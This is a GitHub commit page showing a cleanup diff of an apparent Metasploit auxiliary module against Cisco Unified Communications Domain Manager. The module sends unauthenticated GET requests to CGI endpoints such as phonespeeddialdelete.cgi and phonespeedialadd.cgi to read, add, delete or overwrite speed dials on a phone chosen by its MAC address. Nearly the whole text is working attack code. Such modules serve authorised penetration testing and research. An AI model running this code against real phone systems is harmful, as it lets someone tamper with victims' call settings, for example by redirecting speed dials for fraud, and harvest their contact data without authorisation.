Skip to content

Commit cf9d7d5

Browse files
committed
Do first code cleanup
1 parent 000d7dd commit cf9d7d5

File tree

1 file changed

+90
-57
lines changed

1 file changed

+90
-57
lines changed

modules/auxiliary/voip/cisco_cucdm_speed_dials.rb

Lines changed: 90 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -48,100 +48,133 @@ def initialize(info={})
4848
end
4949

5050
def run
51-
uri = normalize_uri(target_uri.to_s)
52-
mac = Rex::Text.uri_encode(datastore["MAC"])
53-
name = Rex::Text.uri_encode(datastore["NAME"])
54-
position = Rex::Text.uri_encode(datastore["POSITION"])
55-
telno = Rex::Text.uri_encode(datastore["TELNO"])
56-
51+
mac = Rex::Text.uri_encode(datastore['MAC'])
52+
name = Rex::Text.uri_encode(datastore['NAME'])
53+
position = Rex::Text.uri_encode(datastore['POSITION'])
54+
telno = Rex::Text.uri_encode(datastore['TELNO'])
5755

5856
case action.name.upcase
5957
when 'MODIFY'
60-
print_status("Deleting Speed Dial of the IP phone")
61-
url=uri+"/phonespeeddialdelete.cgi?entry=#{position}&device=SEP#{mac}"
62-
vprint_status("URL: "+url)
63-
status,res=send_rcv(url)
64-
if status != Exploit::CheckCode::Safe and res.body =~ /Deleted/
65-
print_good("Speed Dial #{position} is deleted successfully")
66-
print_status("Adding Speed Dial to the IP phone")
67-
url=uri+"/phonespeedialadd.cgi?name=#{name}&telno=#{telno}&device=SEP#{mac}&entry=#{position}&mac=#{mac}"
68-
vprint_status("URL: "+url)
69-
status,res=send_rcv(url)
70-
if status != Exploit::CheckCode::Safe and res.body =~ /Added/
71-
print_good("Speed Dial #{position} is added successfully")
72-
elsif res.body =~ /exist/
73-
print_error("Speed Dial is exist, change the position or choose modify!")
58+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
59+
60+
vars_get = {
61+
'entry' => "#{position}",
62+
'device' => "SEP#{mac}"
63+
}
64+
65+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
66+
67+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
68+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
69+
print_status("#{peer} - Adding Speed Dial to the IP phone")
70+
71+
vars_get = {
72+
'name' => "#{name}",
73+
'telno' => "#{telno}",
74+
'device' => "SEP#{mac}",
75+
'entry' => "#{position}",
76+
'mac' => "#{mac}"
77+
}
78+
79+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
80+
81+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
82+
print_good("#{peer} - Speed Dial #{position} is added successfully")
83+
elsif res && res.body =~ /exist/
84+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
7485
else
75-
print_error("Speed Dial couldn't add!")
86+
print_error("#{peer} - Speed Dial couldn't add!")
7687
end
7788
else
78-
print_error("Speed Dial is not found!")
89+
print_error("#{peer} - Speed Dial is not found!")
7990
end
8091
when 'DELETE'
81-
print_status("Deleting Speed Dial of the IP phone")
82-
url=uri+"/phonespeeddialdelete.cgi?entry=#{position}&device=SEP#{mac}"
83-
vprint_status("URL: "+url)
84-
status,res=send_rcv(url)
85-
if status != Exploit::CheckCode::Safe and res.body =~ /Deleted/
86-
print_good("Speed Dial #{position} is deleted successfully")
92+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
93+
94+
vars_get = {
95+
'entry' => "#{position}",
96+
'device' => "SEP#{mac}"
97+
}
98+
99+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
100+
101+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
102+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
87103
else
88-
print_error("Speed Dial is not found!")
104+
print_error("#{peer} - Speed Dial is not found!")
89105
end
106+
90107
when 'ADD'
91-
print_status("Adding Speed Dial to the IP phone")
92-
url=uri+"/phonespeedialadd.cgi?name=#{name}&telno=#{telno}&device=SEP#{mac}&entry=#{position}&mac=#{mac}"
93-
vprint_status("URL: "+url)
94-
status,res=send_rcv(url)
95-
if status != Exploit::CheckCode::Safe and res.body =~ /Added/
96-
print_good("Speed Dial #{position} is added successfully")
97-
elsif res.body =~ /exist/
98-
print_error("Speed Dial is exist, change the position or choose modify!")
108+
print_status("#{peer} - Adding Speed Dial to the IP phone")
109+
vars_get = {
110+
'name' => "#{name}",
111+
'telno' => "#{telno}",
112+
'device' => "SEP#{mac}",
113+
'entry' => "#{position}",
114+
'mac' => "#{mac}"
115+
}
116+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
117+
118+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
119+
print_good("#{peer} - Speed Dial #{position} is added successfully")
120+
elsif res && res.body && res.body.to_s =~ /exist/
121+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
99122
else
100-
print_error("Speed Dial couldn't add!")
123+
print_error("#{peer} - Speed Dial couldn't add!")
101124
end
102125
else
103126
print_status("Getting Speed Dials of the IP phone")
104-
url=uri+"/speeddials.cgi?device=SEP#{mac}"
105-
vprint_status("URL: "+url)
127+
vars_get = {
128+
'device' => "SEP#{mac}"
129+
}
106130

107-
status,res=send_rcv(url)
108-
parse(res) if status != Exploit::CheckCode::Safe
131+
status, res = send_rcv('speeddials.cgi', vars_get)
132+
parse(res) unless status == Exploit::CheckCode::Safe
109133
end
110134

111135
end
112136

113-
def send_rcv(uri)
114-
uri=normalize_uri(uri.to_s)
137+
def send_rcv(uri, vars_get)
138+
uri = normalize_uri(target_uri.to_s, uri.to_s)
115139
res = send_request_cgi(
116140
{
117141
'uri' => uri,
118142
'method' => 'GET',
143+
'vars_get' => vars_get
119144
})
120145

121-
if res and res.code == 200 and res.body =~ /Speed [D|d]ial/
122-
return Exploit::CheckCode::Vulnerable,res
146+
if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
147+
return Exploit::CheckCode::Vulnerable, res
123148
else
124-
print_error("Target appears not vulnerable!")
125-
return Exploit::CheckCode::Safe,res
149+
print_error("#{peer} - Target appears not vulnerable!")
150+
return Exploit::CheckCode::Safe, res
126151
end
127152
end
128153

129154
def parse(res)
130155
doc = REXML::Document.new(res.body)
131-
names=[]
132-
phones=[]
156+
names = []
157+
phones = []
133158

134-
list=doc.root.get_elements("DirectoryEntry")
135-
list.each {|lst|
136-
xlist=lst.get_elements("Name")
159+
list = doc.root.get_elements('DirectoryEntry')
160+
list.each do |lst|
161+
xlist = lst.get_elements('Name')
137162
xlist.each {|l| names << "#{l[0]}"}
138-
xlist=lst.get_elements("Telephone")
163+
xlist = lst.get_elements('Telephone')
139164
xlist.each {|l| phones << "#{l[0]}" }
140-
}
165+
end
166+
141167
if names.size > 0
142-
names.size.times{|i| print_good("Position: "+names[i].split(":")[0]+"\tName: "+names[i].split(":")[1]+"\t"+"Telephone: "+phones[i])}
168+
names.size.times do |i|
169+
info = ''
170+
info << "Position: #{names[i].split(":")[0]}, "
171+
info << "Name: #{names[i].split(":")[1]}, "
172+
info << "Telephone: #{phones[i]}"
173+
174+
print_good("#{peer} - #{info}")
175+
end
143176
else
144-
print_status("No Speed Dial detected")
177+
print_status("#{peer} - No Speed Dial detected")
145178
end
146179
end
147180
end

0 commit comments

Comments
 (0)